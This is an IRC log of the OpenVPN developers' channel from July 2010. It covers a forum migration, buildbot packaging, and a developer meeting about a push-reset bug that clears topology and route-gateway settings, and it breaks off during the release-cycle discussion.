07:47 <@mattock> dazo: ok, no probs 07:47 <@mattock> ovpnforum.com accounts -> LDAP migration works now 07:48 <@mattock> so it's buildbot stuff on Wed/Fri 08:00 < ecrist> mattock: when are we moving the boards to the new server? 08:00 < ecrist> I thought Aug 13, so your account migration emails may be premature... 08:00 <@mattock> yep, they're only sent to us, not the real users 08:00 <@mattock> it was a test run 08:00 < ecrist> ah, ok 08:01 < ecrist> I'll post a notice today on the 1st of Aug about the migration on the 13th 08:01 < ecrist> s/today// 08:01 <@mattock> ok, that sounds good 08:02 <@mattock> if you have some time, you could test your test account and see if it works... although I did pretty thorough testing myself 08:02 <@mattock> have to test against phpbb, too, though 08:08 -!- raidz [~Andrew@seance.openvpn.org] has quit [Read error: Connection reset by peer] 08:08 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 08:27 <@mattock> ecrist: if you feel like configuring forums Apache to use the *.openvpn.net certificate, please do: all the cert files are in my homedir 08:28 < ecrist> mattock: I'll take care of it in the next day or two 08:28 <@mattock> ok, that's great! 08:28 <@mattock> thanks! 08:28 <@mattock> you need to install the gd_bundle.crt, too 09:30 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 09:33 -!- raidzxx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 09:36 -!- raidz [~Andrew@seance.openvpn.org] has quit [Ping timeout: 246 seconds] 10:11 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:31 -!- strangebrewaway [strangebre@nlayer.us] has joined #openvpn-devel 10:32 -!- strangebrewaway [strangebre@nlayer.us] has left #openvpn-devel ["Leaving"] 10:51 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 11:07 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 13:40 -!- dazo is now known as dazo_afk 14:26 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 15:45 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 17:02 -!- raidzxx [~Andrew@seance.openvpn.org] has quit [Quit: Leaving] 17:04 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 17:04 -!- mode/#openvpn-devel [+o raidz] by ChanServ 22:34 -!- krzee [~k@unaffiliated/krzee] has left #openvpn-devel ["Leaving"] 23:22 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel --- Day changed Tue Jul 20 2010 00:34 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 01:57 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:30 -!- dazo_afk is now known as dazo 04:09 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 06:01 -!- Netsplit *.net <-> *.split quits: berniv6, @dazo, ScriptFanix, @raidz, @mattock, @openvpn2009, vpnHelper, waldner, agi, HanX, (+5 more, use /NETSPLIT to show all of them) 06:04 -!- Netsplit over, joins: @mattock, mape2k, @raidz, ScriptFanix, berniv6, yam, agi, @openvpn2009, waldner, vpnHelper (+5 more) 06:49 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 252 seconds] 07:46 < ecrist> ping mattock 07:48 <@mattock> ecrist: I'm here 07:50 < ecrist> did you ever look into IPv6 support at the DC? 07:55 <@mattock> oh yes, forgot about that... I'll put it to my todo list 07:55 <@mattock> I'll check ask the guys today / tomorrow 07:55 < ecrist> also, is there a passphrase set on those certificates? 07:58 < ecrist> nm, there doesn't appear to be. 08:10 < ecrist> mattock: http SSL is completed. 08:13 < fkr> 6 08:13 < fkr> whoops 08:24 <@mattock> ecrist: nice! could you add a http->https forward, too? 08:29 < ecrist> um, give it a shot, I'm WAAAAY ahead of you. 08:40 <@mattock> no SSL / https if I go to http://forums.openvpn.net 08:40 < vpnHelper> Title: Index page : OpenVPN Forum (at forums.openvpn.net) 08:40 <@mattock> and firefox forwards forums.openvpn.net -> http://... 08:40 < ecrist> hrm 08:40 < ecrist> I thought it was working 08:40 * ecrist looks 08:42 < ecrist> forgot to restart apache, it seems 08:42 < ecrist> try again, please 08:42 <@mattock> ok 08:42 <@mattock> yep, now it works :) 08:42 <@mattock> a classic mistake ;) 08:43 <@mattock> so we're almost set for production 09:12 < chantra> mattock: ecrist forums.openvpn.net is not using ldap backend right? 09:12 < ecrist> not right now 09:12 < chantra> as in not yet :) 09:12 < ecrist> it will be 09:12 <@mattock> chantra: not yet 09:12 < chantra> ok, better wait rather than register i guess 09:12 <@mattock> LDAP auth works, but it's currently disabled 09:12 <@mattock> yep 09:13 <@mattock> the old forums are still active, so better not use the new ones just yet 09:13 <@mattock> August Friday 13th is the launch date for new forums 09:13 < chantra> ok, cool 09:22 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 252 seconds] 10:43 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 10:54 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 11:02 -!- openvpn2009 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 11:21 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: Leaving] 12:02 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:03 -!- dazo is now known as dazo_afk 14:02 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 15:13 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 22:16 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 23:02 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 23:18 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 23:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Wed Jul 21 2010 01:35 -!- dazo_afk is now known as dazo 01:35 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 02:41 -!- dazo is now known as dazo_afk 02:44 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 02:53 -!- ScriptFanix [~vincent@cl-53.mrs-01.fr.sixxs.net] has joined #openvpn-devel 03:12 -!- ScriptFanix [~vincent@cl-53.mrs-01.fr.sixxs.net] has quit [Quit: WeeChat 0.3.2] 03:13 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel 03:21 -!- dazo_afk is now known as dazo 04:52 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 05:25 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 06:49 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 06:55 -!- ScriptFanix [vincent@hanaman.riquer.fr] has quit [Ping timeout: 252 seconds] 07:00 <@mattock> managed to build Debian packages using buildbot for Debian Lenny amd64 07:01 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel 07:01 <@mattock> we should have Debian (Lenny) and Ubuntu (9.10, 10.04) packages ready some time next week 07:02 <@mattock> and published, of course 07:08 <@dazo> mattock: nice! Looks like I need to clear some time for fixing the beta2.2 branch very soon then :) 07:09 <@mattock> just let me know when beta2.2 is ready - meanwhile I'll use "allmerged" 07:10 <@mattock> also, I think we need to create a version number for Debian packages from the date, e.g. 201007211510 07:10 <@mattock> git commit ID's won't cut it I guess 07:10 <@mattock> and without version numbering upgrades may be difficult 07:10 <@mattock> =confuses apt 07:17 < ecrist> mattock: you could use the sources I have have, pull them, and version accordingly 07:17 < ecrist> that way, 201029 is the same on all platforms... 07:18 <@mattock> where are those located? can't remember... 07:18 < ecrist> !snapshot 07:18 < vpnHelper> ecrist: Error: "snapshot" is not a valid command. 07:19 < ecrist> 07:19 < vpnHelper> ecrist: "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch 07:22 <@mattock> buildbot requires the absolute latest sources or it can't do it's CI / build testing stuff properly... but I could easily fetch openvpn-testing sources using buildbot every week and publish those 07:22 <@mattock> and those could be used as a basis for non-automated snapshot packages 07:24 <@mattock> all buildbot would do is fetch the sources, create a tarball (say, "openvpn-20100721.tar.gz") and copy that to an Apache directory 07:25 <@dazo> mattock: have a quick look at the bootstrap.sh script ... that will update the version.m4 file, run autoreconf and prepare the tree for building ... that way, we have the commit ID in the compiled version ... commit ID is probably the very best ID we can have right now on allmerged 07:25 <@mattock> ok, will do 07:25 <@dazo> bootstrap should be in the allmerged branch 07:26 -!- ScriptFanix [vincent@hanaman.riquer.fr] has quit [Ping timeout: 252 seconds] 07:30 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel 08:00 -!- ScriptFanix [vincent@hanaman.riquer.fr] has quit [Read error: Operation timed out] 08:03 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel 08:25 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] 08:25 -!- waldner_ [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:20 -!- dazo is now known as dazo_afk 13:14 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 13:49 * chantra just found out that push-reset will also reset topology/route-gateway value from global config 13:49 < chantra> not sure if this is something that should happen 13:50 < chantra> as in topology subnet, one need to supply client that it uses topology subnet + which route-gateway to use 13:51 < chantra> as such, if one does not add that to ccd directory for each client using push-reset, topology subnet + route-gateway (ip of tun interface) need to be supplied in user ccd's file 13:52 < chantra> and this become even more of a pain when user's conf are store in a remote DB and many opevpn server might pull the conf from there, as providing only one route-gateway will not work on all servers 14:15 < chantra> well, more explanation here: https://community.openvpn.net/openvpn/ticket/29 14:15 < vpnHelper> Title: #29 (push-reset should not reset topology and route-gateway from global config) – OpenVPN (at community.openvpn.net) 15:05 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has quit [Ping timeout: 260 seconds] --- Log closed Wed Jul 21 15:05:30 2010 --- Log opened Wed Jul 21 15:05:35 2010 15:05 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 15:05 -!- Irssi: #openvpn-devel: Total of 15 nicks [4 ops, 0 halfops, 0 voices, 11 normal] 15:06 -!- Irssi: Join to #openvpn-devel was synced in 31 secs 15:58 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 16:04 -!- krzie [~k@unaffiliated/krzee] has left #openvpn-devel ["Leaving"] 16:06 -!- waldner_ is now known as waldner 16:40 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 16:56 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 18:03 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 18:04 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 18:04 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 18:04 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel --- Log opened Thu Jul 22 02:18:15 2010 02:18 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 02:18 -!- Irssi: #openvpn-devel: Total of 16 nicks [4 ops, 0 halfops, 0 voices, 12 normal] 02:18 !wolfe.freenode.net [freenode-info] if you're at a conference and other people are having trouble connecting, please mention it to staff: http://freenode.net/faq.shtml#gettinghelp --- Log closed Thu Jul 22 02:18:23 2010 --- Log opened Thu Jul 22 02:18:32 2010 02:18 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 02:18 -!- Irssi: #openvpn-devel: Total of 16 nicks [4 ops, 0 halfops, 0 voices, 12 normal] 02:18 !holmes.freenode.net [freenode-info] if you're at a conference and other people are having trouble connecting, please mention it to staff: http://freenode.net/faq.shtml#gettinghelp 02:19 -!- Irssi: Join to #openvpn-devel was synced in 37 secs 02:45 -!- dazo_afk is now known as dazo 04:20 < chantra> dazo: and all, have you seen https://community.openvpn.net/openvpn/ticket/29 04:20 < vpnHelper> Title: #29 (push-reset should not reset topology and route-gateway from global config) – OpenVPN (at community.openvpn.net) 04:22 <@dazo> chantra: well, you've found proof of push-reset working well at least ;-) but it can be discussed if it is working a little bit too well :) 04:22 < chantra> :) 04:22 < chantra> yeah, i would say too well 04:23 < chantra> it literrally reset the whole push options 04:24 <@dazo> yeah ... I lean towards that the tunnel device setup itself should not be reset ... but I want to hear James intention as well with push-reset 04:24 <@dazo> but by all means, good catch! 04:25 < chantra> yeah, just got "lucky" (rather unlucky in fact :p) as it is blocking my app now :s 04:26 <@dazo> what is not clear to me ... you are using 'topology subnet 04:26 <@dazo> ' in the main config? 04:26 <@dazo> and topology is reset too? 04:26 < chantra> if i use topology subnet in man conf, then it stop working 04:26 <@dazo> I see ... yeah, that does sound wrong 04:27 < chantra> yeah, because topology and route-gateway seems to be pushed to client and are in fact shirtcuts for 04:27 < chantra> push "topology subnet" 04:27 < chantra> push "route-gateway xxx.xxx.xxx.xx" 04:28 < chantra> maybe these options should not be stacked in main push option list 04:28 <@dazo> chantra: would you mind clearing up this in the ticket? That you use 'topology subnet' in the server conf extraction? 04:29 <@dazo> topology and route-gateway should probably be flagged somehow, that they cannot be reset 04:29 < chantra> dazo, i mentionned "In topology net30 (default topology) it works perfectly, but does not in topology subnet." 04:29 < chantra> dazo: if reset, best case is to actually set them properly in client conf 04:30 < chantra> if not, then tunnel wont work 04:30 < chantra> or wont just set up 04:31 < chantra> dazo: i cant edit my own tickets/comments but I can add another comment 04:31 <@dazo> yeah, but I had to ask because it was not clear enough for me ... I hate to have doubts ;-) ... and you say "Considering this server conf" ... and then you mention topology subnet in side sentence later on, this caused my doubt 04:31 < chantra> :) 04:32 < chantra> well, I can post the whole server config 05:04 < chantra> dazo: i updated ticket, hopefully it is clearer :) 05:05 <@dazo> chantra: thx! That helps a lot! 05:05 < chantra> mattock: i was wondering if trac settings could be changed so user can add themselves to the cc list ? 05:05 < chantra> or have a way to follow a ticket lifetime 05:06 < chantra> i am not even sure i received comments on ticket i actually created :s 05:07 * dazo would like that as well 05:07 * dazo goes out for lunch 05:27 <@mattock> chantra: I'll check if that's possible 05:27 < chantra> coooll 06:58 < chantra> mattock: http://trac.edgewall.org/wiki/TracNotification 06:58 < vpnHelper> Title: TracNotification – The Trac Project (at trac.edgewall.org) 06:58 <@mattock> oh yes, that one :) 06:59 < chantra> seems to be disabled by default 07:21 < chantra> another thing that could be sweet is to get vpnHelper to monitor https://community.openvpn.net/openvpn/timeline?ticket=on&max=50&daysback=90&format=rss via RSS plugin 07:21 < vpnHelper> Title: OpenVPNOpenVPNTicket #29 (push-reset should not reset topology and route-gateway from global config) createdTicket #28 (Defect --multihome feature?) createdTicket #27 (Automated testing infrastructure) createdTicket #26 (Verify that the "Exclude ping and control packets from activity" patch ...) createdTicket #25 (Check if state/instance synchronization between OpenVPN instances is ...) createdTicket #24 (Migrate OpenVPN auto- 07:21 < chantra> so it can report ticket ctivity changes to this irc channel 07:31 <@mattock> ecrist can make vpnHelper monitor that feed 07:31 <@mattock> I'll install the TracNotification plugin tomorrow 07:31 < chantra> TracNotification is a plugin :s 07:34 < chantra> mattock: any meetings tonight? 07:34 <@mattock> yep, as usual 07:34 <@mattock> I'm just creating the topic page 07:35 < chantra> if so, even though I wont be able to be there, i was wondering if you guys could discuss that https://community.openvpn.net/openvpn/ticket/29 07:35 < vpnHelper> Title: #29 (push-reset should not reset topology and route-gateway from global config) – OpenVPN (at community.openvpn.net) 07:35 < chantra> if any info need to be added, I can until 4pm-ish GMT 07:37 <@mattock> ok, I'll add that to the agenda 07:38 < chantra> cool, tks 07:45 <@dazo> mattock: what we do need to discuss today is the release cycle ... so that we can give some more clear answers when people ask 07:46 <@mattock> yep, that's on the agenda: https://community.openvpn.net/openvpn/wiki/Topics-2010-07-22 07:46 <@dazo> and that helps us set the priorities too 07:46 < vpnHelper> Title: Topics-2010-07-22 – OpenVPN (at community.openvpn.net) 07:46 <@mattock> anything else from you guys? 07:46 <@mattock> or shall I send email already? 07:46 <@dazo> ticket #28, after #29 07:47 <@dazo> mattock: and my mail to James from the weekend - re: merge conflict 07:47 <@mattock> oh yes, that one 07:47 <@mattock> do you have a link to it? 07:48 <@dazo> not yet :) 07:48 * dazo looks 07:49 <@mattock> the conflict was unavoidable, given that James works outside the common development process 07:49 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/3845 07:49 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:49 <@mattock> "bound to happen sooner or later" 07:50 <@dazo> yes ... but, I'm fine with that .... the issue is more that he raised his voice re: random resolving, that we shouldn't change behaviour quickly .... so we introduced FRP .... and then some months later, he removes that feature just like that 07:50 <@cron2> mattock: I'm not sure I'll make the meeting tonight - appointment at 6 pm (meeting at 8 pm local time) and I'm not sure how long it will take. But I don't have anything urgent on my mind today anyway. 07:50 <@dazo> that's what's puzzling me on this one 07:50 <@mattock> cron2: ok 07:51 <@mattock> dazo: yes, that's true... perhaps he forgot about the FRP. Or perhaps he believes the FRP affects the community developers 07:52 <@mattock> _only_ community developers 07:52 <@dazo> yeah ... and I hope he don't think so, that he just forgot about the on-going process 07:54 <@mattock> me too... especially because following the community process is pretty easy 07:54 <@dazo> anyhow, the SVN patch is looking good - and it solves random resolving and improves resolving overall where multiple hosts are tackled - so it's more advanced ... except that for the function which only resolves one hostname, it is conflicting with the FRP .... but I have no problem kicking out this FRP, if this is needed 07:56 <@dazo> but then I need to know if James have changed his opinion or not, that's the key thing 07:56 <@mattock> have you taken a look at this: https://community.openvpn.net/openvpn/ticket/29 07:56 < vpnHelper> Title: #29 (push-reset should not reset topology and route-gateway from global config) – OpenVPN (at community.openvpn.net) 07:56 <@dazo> I've not looked at the code ... but for me #29 sounds like a bug ... as topology and route-gateway should probably not be reset on --push-reset 07:59 <@mattock> good if you understand the issue because I don't... I haven't pushed or ccd'd anything yet :) 07:59 <@mattock> so it's a bit vague to me 08:04 <@dazo> When using --topology, the topology setting is being pushed to the client, which needs to match on server and client ... So if a client config (ccd) is using --push-reset - it also clears out the topology setting to be pushed, thus breaking the tunnel ... this is how I understand it 08:05 < chantra> dazo: exactly 08:05 < chantra> topology subnet, route-gateway is not pushed to client 08:05 < chantra> thus client default to topology net30 08:05 < chantra> and cannot understand ifconfig pushed by server (that is the client error logs in ticket) 08:06 < chantra> WARNING: Since you are using --dev tun with a point-to-point topology, the second argument to --ifconfig must be an IP address. You are using something (255.255.255.0) that looks more like a netmask. (silence this warning with --ifconfig-nowarn) 08:06 <@dazo> yupp 08:07 < chantra> did not try p2p 08:07 < chantra> but I assume some problem may also arise 08:07 * dazo expects similar behaviour 08:09 < chantra> except if p2p uses the same ifconfig push syntax (ifconfig local_addr remote_addr) 08:29 <@cron2> no push in p2p 08:29 <@cron2> there is no "server" or "client" in p2p, just peers 08:32 < chantra> k 09:48 < krzie> dazo, no problem, what verb do you want on the logs? 09:49 <@dazo> krzie: thx I don't mind if it's quite verbose 6+ probably ... were you can easily catch what's happening and what goes wrong 09:54 < krzie> it will be whatever you want it to be 09:54 < krzie> 6, 10, whatever 09:56 < krzie> ive never needed more than 5 because ive never troubleshot code issues, so i dunno the differences after 6 10:19 <@dazo> krzie: let's do 5 then 10:19 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 10:20 * dazo thought he read something about log-level 6, but might have mixed it with another issue 10:20 < krzie> well 5 wouldnt show internals, that i know 10:20 < krzie> 6 shows read and writes more verbose, 5 shows rwrwrw 10:20 < krzie> i told him 7... not sure how its different 10:21 <@dazo> oki ... I thought 4 gave rwrwrw .... never mind, a little bit more that rwrwrw is most likely needed :) 10:21 < krzie> rwrw is good for firewall issues, i know we need more than that 10:22 < krzie> and nope, 4 is good for debugging anything but firewall stuff, no rwrw there 10:23 <@dazo> oki, then I remember wrong :) 10:31 < krzie> here is the verb 10 log 10:31 < krzie> http://pastebin.freeswitch.org/13508 10:31 < krzie> (the user is a freeswitch dev) 10:42 <@dazo> krzie: looking good ... if we can attach it to ticket, we won't loose it ... if you want to protect it, encrypt it with my PGP key, and I'll make sure only needed people get access 10:43 <@dazo> krzie: keyID C0517EBA / dazo@users.sourceforge.net 10:44 < krzie> ill get the configs and logs from both sides, then ill tgz it and attach to a ticket 10:44 < krzie> ill just go verb 10, too much has to be better than too little 10:44 < krzie> and its not a config messup 10:46 < krzie> well best i can tell its not... ive setup a ton of these setups, its basically just !route 10:46 < ecrist> krzie: is that in reference to [intra]lanman's issues? 10:46 < krzie> yup 10:48 < krzie> its weird... his iroute gets used (logfile says so) but it seems to only kinda work 10:49 < krzie> ping -S works, ping from lan machine gets MULTI error, but the ip in the multi error is in the /24 of the iroute 10:50 < krzie> and when the push route is enabled, it gets pushed the route that matches the iroute 10:51 -!- dazo is now known as dazo_afk 10:52 < krzie> but ya, im gunna get alllll info and put it in trac 12:49 -!- dazo_afk is now known as dazo 13:01 <@mattock> who's attending the meeting? 13:02 < chantra> might be around for 30min or so 13:03 <@mattock> dazo? 13:03 <@dazo> mattock: I'm here :) 13:03 <@mattock> ok, I'll mail James now :) 13:03 <@mattock> 4 minutes past 13:09 <@mattock> sent 13:11 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:11 <@dazo> \o/ 13:11 < jamesyonan> hi 13:11 <@dazo> hi! 13:11 <@mattock> hi james! 13:11 <@mattock> ok everyone, topic list is available here: https://community.openvpn.net/openvpn/wiki/Topics-2010-07-22 13:12 < vpnHelper> Title: Topics-2010-07-22 – OpenVPN (at community.openvpn.net) 13:12 <@mattock> we have a couple of potentially tough ones today... 13:12 <@mattock> the SVN merge conflict: http://thread.gmane.org/gmane.network.openvpn.devel/3845 13:12 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:12 <@mattock> and release cycle stuff 13:12 <@mattock> and one bug 13:12 <@mattock> which first? 13:13 * dazo would like release cycle first 13:13 < chantra> as i might be around for not much long, i would propose the bug first :) 13:13 <@mattock> ok, let's start with that 13:13 <@mattock> chantra: good point 13:13 <@mattock> any objections? 13:13 <@dazo> nope 13:13 <@mattock> ok, this one first, then: https://community.openvpn.net/openvpn/ticket/29 13:13 < vpnHelper> Title: #29 (push-reset should not reset topology and route-gateway from global config) – OpenVPN (at community.openvpn.net) 13:14 <@mattock> so you guys (dazo, chantra) already discussed this in some length? 13:14 < chantra> yep 13:14 <@dazo> jamesyonan: is there a reason for topology and route-gateway also being cleared when using --push-reset in ccd configs? 13:15 < jamesyonan> push-reset clears the whole push list 13:15 < jamesyonan> it's not fine-grained 13:16 <@dazo> that seems to be the culprit which breaks the tunnel, when used together with topology subnet 13:16 <@dazo> would it be an idea to "flag" topology and route-gateway from not being cleared on --push-reset? 13:18 <@dazo> I kind of doubt the intention with --push-reset was to also clear those .... but it's also possible to add a '--push-reset all' ... which also clears it completely, as now 13:19 < jamesyonan> Personally, I never use push-reset. It's better to use a model where the global configuration contains settings common to all clients, and then each client takes the global configuration and adds its own client-specific settings. 13:19 <@dazo> but ... will that work with ccd? 13:20 <@dazo> I do see the cleanness in doing it the other way around, though 13:20 < chantra> but that would require to configure all clients 13:20 < jamesyonan> this is how it works now 13:21 < chantra> except of having a global conf and only a few clients with specific conf 13:21 < chantra> -except + instead 13:21 < jamesyonan> when a client connects, the server takes the global push list, copies it, then pushes client specific option to the copy, before the list gets sent to the client 13:22 <@dazo> I see what you mean now, jamesyonan 13:22 < jamesyonan> in hindsight, I think push-reset was a bad idea because it breaks this model 13:23 <@dazo> but the issue is that if you have a generic config which is useful for 90% of your clients .... and have 10% which don't need/want/should not have the generic stuff ... then a --push-reset might make it easier to maintain for a sysadmin 13:24 < chantra> yeah :) 13:24 < chantra> i thought that was the idea behind push-reset 13:24 <@dazo> but the contra argument then is that, then you can push topology and route-gateway manually, as that is the exception 13:25 < chantra> because even though topology and route-gateway are "pushed" to the clients, they are server specific, not client specific 13:26 <@dazo> that's a good argument 13:27 < chantra> i think all it would take to sort this one out (and possible other options), is to have 2 list: 13:27 < chantra> server_push_options 13:27 < chantra> client_push_options 13:27 <@dazo> jamesyonan: the fact is that we do have --push-reset now, people do use it ... so we probably should consider to poke into a fix here ... as chantra says, --topology is server centric ... re: --route-gateway, that's more discussable, as that is client oriented 13:27 < chantra> only client_push_options would be reset 13:28 < jamesyonan> that makes sense -- if push-reset is to be supported, I agree it should probably be smarter in the sense of distinguishing between server-scoped and client-scoped settings 13:28 < chantra> my undertsanding is route gateway is needed to subnet topology, the client specific one might be the redirect-gateway part 13:29 < chantra> dazo: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=blob;f=helper.c;h=a9d7fd9fa2936cf5de1318ac7065372a251732b6;hb=refs/heads/bugfix2.1#l147 13:29 < vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/blob - helper.c (at openvpn.git.sourceforge.net) 13:30 < chantra> "route-gateway is only pushed in this context: 13:30 < chantra> if tap OR (tun AND topology == subnet) 13:30 <@dazo> hmm ... I was looking for that description :) 13:31 < chantra> there might be other parameters that are server specific, but i dont knowe much of other setting than subnet or net30 with tun interface 13:32 < chantra> but I would assume any of the parameters set in the description above should be server specific 13:32 * dazo is reading the code now 13:33 <@mattock> I'm just rolling my eyes :)... should have read 30 minutes worth of OpenVPN man pages and FAQ's to get the idea :) 13:34 * dazo begins to get a feeling of a fix 13:34 < chantra> dazo: i thought of maintening 2 list of options 13:34 <@dazo> the question is more, what jamesyonan let open .... should we support --push-reset at all? 13:35 < chantra> a immutable and a resetable 13:35 <@dazo> chantra: yeah, I'm thinking long those paths as well 13:37 <@dazo> I'm wondering if all or just some of these options which are pushed when parsing the server side should be immutable ... there are quite some push_option() calls here 13:37 < jamesyonan> maybe a better solution to push-reset would be a sort of "unpush" directive where the client-specific config could selectively remove specific items from the global config before pushing to client 13:38 < jamesyonan> this solves the problem because then we don't need an algorithm to determine which items push-reset should clear 13:38 < chantra> would not help my use case though :) 13:38 <@dazo> mm ... but will this freedom increase the complexity for those configuring it? 13:39 <@dazo> increase too much, I mean 13:40 < chantra> well, then adding a route to global config, need to be unpush-ed from each client that should not receive it 13:40 <@dazo> and options are not in key/value pair as I can understand ... so the option parsing when building up the push string could become less trivial 13:41 < chantra> i personally dont mind poking into the http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=blob;f=helper.c;h=a9d7fd9fa2936cf5de1318ac7065372a251732b6;hb=refs/heads/bugfix2.1#l139 to see what is needed to have a working tunnel between client and server 13:41 < vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/blob - helper.c (at openvpn.git.sourceforge.net) 13:42 < chantra> well, i got to run now :s, will read up the logs tomorrow 13:43 < chantra> and see what path can be taken 13:43 <@dazo> I'm actually wondering if it would make sense to extend the struct push_entry with a immutable flag 13:43 <@mattock> chantra: bye! 13:43 < chantra> and as i said, i dont might working on that bit 13:43 <@dazo> and then give the API a possibility to set this or not 13:44 < chantra> before i go :) I had 2 ideas in mind: 13:45 <@dazo> when doing the copy ... --push-reset will only not copy over non-immutable entries .... but ... it do put the main "sorting" of what should be immutable or not on the implementation, so it's less free than an "unpush" 13:45 < chantra> - flagging, but then that would require going through the list and only removing unflagged entries 13:45 <@dazo> you'll have a copy algorithm already present 13:46 < chantra> - maintaining 2 list, the resetable one can just be dropped (which is the actual behaviour) 13:46 <@dazo> it's more pointers to keep track of, and less generic 13:47 <@mattock> perhaps we could discuss this further on the mailinglist? 13:47 <@dazo> you anyway need to copy push_entries over to a string ... so with two lists, you need to do such a copy twice ... while with a flag, you just ignore those non-immutable if --push-reset is defined 13:47 <@dazo> mattock: good idea 13:47 <@dazo> jamesyonan: what do you think right now? 13:49 < jamesyonan> If we keep push-reset, I would say that we fix it with the simplest implementation 13:50 <@dazo> diplomatic answer ;-) 13:50 <@mattock> I think summarizing the ideas presented here into an email and sending it -devel makes most sense 13:50 <@dazo> mattock: agreed 13:51 <@mattock> dazo: could you write something up easily? it'd take me quite a while summarize this topic 13:51 <@dazo> mattock: I can do! 13:51 <@dazo> mattock: I'll send you an e-mail 13:51 <@mattock> just the basic problem and the discussed, potential solutions 13:51 <@mattock> or perhaps you could just send it to devel? 13:52 <@mattock> in a separate mali 13:52 <@mattock> mail 13:52 <@mattock> ? 13:52 <@mattock> what do you think? 13:52 <@dazo> I can do that as well 13:52 <@dazo> release cycle? 13:53 <@mattock> yep 13:53 <@mattock> currently the release cycle is undefined... or random, if you will :) 13:54 <@dazo> it would be good to get some kind of idea how we will do these cycles 13:54 <@mattock> I think we agreed a while back that having a (relatively) fixed release cycle would make sense 13:54 <@dazo> yes 13:54 <@mattock> I'll try to find the earlier meeting summary... 13:54 <@mattock> might take a few minutes 13:54 <@dazo> I think we should keep that, and also these two cycles which was in the 2.1 round .... a beta round and a RC round 13:56 <@dazo> The beta round in my eyes will have most features for the release included, and it's basically a lot of bug testing - but new features can change as much as needed, old features can change if absolutely needed 13:56 <@mattock> btw. the Feature Removal Process was discussed on 18th Feb 2010 13:56 